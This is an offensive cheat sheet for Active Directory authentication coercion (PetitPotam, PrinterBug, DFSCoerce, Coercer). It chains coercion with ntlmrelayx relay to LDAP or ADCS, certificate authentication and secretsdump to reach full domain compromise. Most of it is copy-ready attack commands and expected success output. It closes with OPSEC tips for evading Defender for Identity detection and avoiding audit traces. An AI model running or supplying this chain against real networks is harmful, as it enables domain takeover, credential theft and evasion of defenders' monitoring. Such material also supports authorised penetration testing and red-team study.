Ad Coercer

Authentication Coercion (PetitPotam family)

Force a Windows machine — usually a Domain Controller — to send an NTLM authentication to an attacker-controlled host. Then either relay the auth (via ntlmrelayx) or crack it offline.

The family of coercion vulnerabilities

All four boil down to: an unauthenticated/low-priv RPC call that triggers the target to authenticate outbound.

Workflow

1. Set up the listener (attacker)

# Option A: ntlmrelayx (relay auth to a useful service)
sudo impacket-ntlmrelayx -t ldap://dc.target.local --escalate-user lowpriv -smb2support
# OR relay to ADCS for cert-based domain admin:
sudo impacket-ntlmrelayx -t http://ca.target.local/certsrv/certfnsh.asp \
  -smb2support --adcs --template DomainController

# Option B: just capture the hash
sudo impacket-ntlmrelayx -t ldap://dc.target.local --no-smb-server
# OR with responder
sudo responder -I eth0

2. Coerce auth from a target machine

# Coercer — meta-tool, tries every vector
git clone https://github.com/p0dalirius/Coercer
sudo python3 Coercer.py coerce -l <attacker_ip> -t <target_ip> -u 'low_priv_user' -p 'pass'
# or anonymous (often works pre-PetitPotam patch):
sudo python3 Coercer.py coerce -l <attacker_ip> -t <target_ip> -u '' -p ''

# Or individual scripts:
python3 PetitPotam.py <attacker_ip> <target_ip>
python3 dfscoerce.py -u lowpriv -p pass <attacker_ip> <target_ip>
python3 printerbug.py target.local/user:pass@<target_ip> <attacker_ip>

3. Catch the auth → escalate

[ntlmrelayx] SMBD-Thread-X: Received connection from <target_ip>, attacking target ldap://dc.target.local
[ntlmrelayx] Authenticating against ldap://dc.target.local as TARGET\DC$ SUCCEED
[ntlmrelayx] Adding lowpriv to Domain Admins group: SUCCEED

If you relayed to ADCS:

[ntlmrelayx] GOT CERTIFICATE! ID 1234
[ntlmrelayx] Base64 certificate of user DC$: MII...

Then use that cert with certipy auth -pfx dc.pfx -username 'dc$' -domain target.local.

Why coerce DC$? — The privilege escalation chain

The DC's machine account (DC$) has Replicating Directory Changes permission. With its NTLM hash or TGT, you DCSync and own the domain:

# After getting DC$ cert from ADCS relay:
certipy auth -pfx dc.pfx -username 'dc$' -domain target.local
# Returns TGT
impacket-secretsdump -k -no-pass target.local/dc$@dc.target.local
# Dumps krbtgt — full domain compromise

Targets that work

• Any unpatched DC (most environments still have PetitPotam variants)
• Any server with Print Spooler running (PrinterBug)
• Any Windows server with DFS Namespace (often DCs + file servers)
• ADCS Web Enrollment endpoint (relay to it for cert-based DA)

OPSEC

• Coercion attempts log EFSRPC_* / RPRN_* event sources on the target — usually low-priority but visible in dedicated AD-attack detection (MDI, Defender for Identity).
• Inbound NTLM authentication from a DC to a non-domain workstation is a strong signal — relay to a host that legitimately receives auth (a file server, a printer-ish hostname).
• Use a coercion vector that DOESN'T require credentials (PetitPotam unauthenticated path, ShadowCoerce) if possible — leaves no user-level audit trace.

References

• topotam77's PetitPotam — github.com/topotam/PetitPotam
• p0dalirius's Coercer — github.com/p0dalirius/Coercer
• dirkjanm's "Relaying NTLM auth" series
• SpecterOps "Coercing AD auth" cheat sheet
• ADCS abuse: SpecterOps "Certified Pre-Owned" whitepaper